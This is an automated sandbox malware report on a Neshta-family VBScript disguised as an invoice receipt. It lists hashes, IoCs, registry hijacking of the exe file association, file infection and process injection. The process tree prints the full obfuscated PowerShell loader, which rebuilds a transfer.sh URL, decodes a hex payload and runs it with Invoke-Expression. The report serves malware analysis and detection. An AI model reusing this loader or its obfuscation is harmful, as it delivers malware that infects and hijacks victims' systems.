neshta | 49d201c4f1d8da00165e974d19bade57ee89df4ad2bfd84fb5f6129d5ef9c840

General

Target

2816723_Invoice_receipt.vbs
Size

3KB
MD5

eaf19e86a4dab23ea534c50700044dff
SHA1

32fdfb387dfde6946a4ca7851500bbaffd2608c2
SHA256

49d201c4f1d8da00165e974d19bade57ee89df4ad2bfd84fb5f6129d5ef9c840
SHA512

6c7affea47a243db26c83ff98f7778efd0779f52721762857a0eb0c40c772ba06a9cb3478f153a53238d48e275bd79f4c6f206ebb8ad241223a4a5194ed46519

Score

10^/10

neshta persistence spyware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://transfer.sh/nlFGs3/bypass.txt

Signatures

Detect Neshta Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1076-155-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/1076-156-0x00000000004080E4-mapping.dmp	family_neshta
behavioral2/memory/1076-158-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1042

Processes:

aspnet_compiler.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	aspnet_compiler.exe

Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 4080 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4080 set thread context of 1076 4080 powershell.exe aspnet_compiler.exe

flow	pid	process
3	4080	powershell.exe

description	pid	process	target process
PID 4080 set thread context of 1076	4080	powershell.exe	aspnet_compiler.exe

Drops file in Program Files directory 55 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\PROGRA~2\Google\Update\1335~1.452\GOBD5D~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpshare.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Temp\GUM1942.tmp\GOFB2B~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmprph.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{F4220~1\VC_RED~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\ACCESS~1\wordpad.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\armsvc.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~3.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\WinMail.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1335~1.452\GOF5E2~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~4.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~2.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1335~1.452\GOFB2B~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1335~1.452\GO664E~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	aspnet_compiler.exe

Drops file in Windows directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\svchost.com aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\svchost.com	aspnet_compiler.exe

Modifies registry class 1 IoCs

Processes:

aspnet_compiler.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe

pid process

4080 powershell.exe
4080 powershell.exe
4080 powershell.exe
4080 powershell.exe
4080 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4080 powershell.exe

pid	process
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4080	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 4020 wrote to memory of 4080	4020	WScript.exe	powershell.exe
PID 4020 wrote to memory of 4080	4020	WScript.exe	powershell.exe
PID 4080 wrote to memory of 388	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 388	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 388	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe
PID 4080 wrote to memory of 1076	4080	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2816723_Invoice_receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/nlFGs3/bypassH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4080

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
PID:388

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
PID:1076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Change Default File Association

1

T1042

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1076-155-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/1076-156-0x00000000004080E4-mapping.dmp

Download
memory/1076-158-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/4080-115-0x0000000000000000-mapping.dmp

Download
memory/4080-120-0x0000013ACCFF0000-0x0000013ACCFF1000-memory.dmp

Filesize
4KB

Download
memory/4080-122-0x0000013ACCFB3000-0x0000013ACCFB5000-memory.dmp

Filesize
8KB

Download
memory/4080-121-0x0000013ACCFB0000-0x0000013ACCFB2000-memory.dmp

Filesize
8KB

Download
memory/4080-125-0x0000013ACD1A0000-0x0000013ACD1A1000-memory.dmp

Filesize
4KB

Download
memory/4080-130-0x0000013ACCFB6000-0x0000013ACCFB8000-memory.dmp

Filesize
8KB

Download
memory/4080-141-0x0000013ACCFB8000-0x0000013ACCFB9000-memory.dmp

Filesize
4KB

Download
memory/4080-152-0x0000013ACD160000-0x0000013ACD164000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads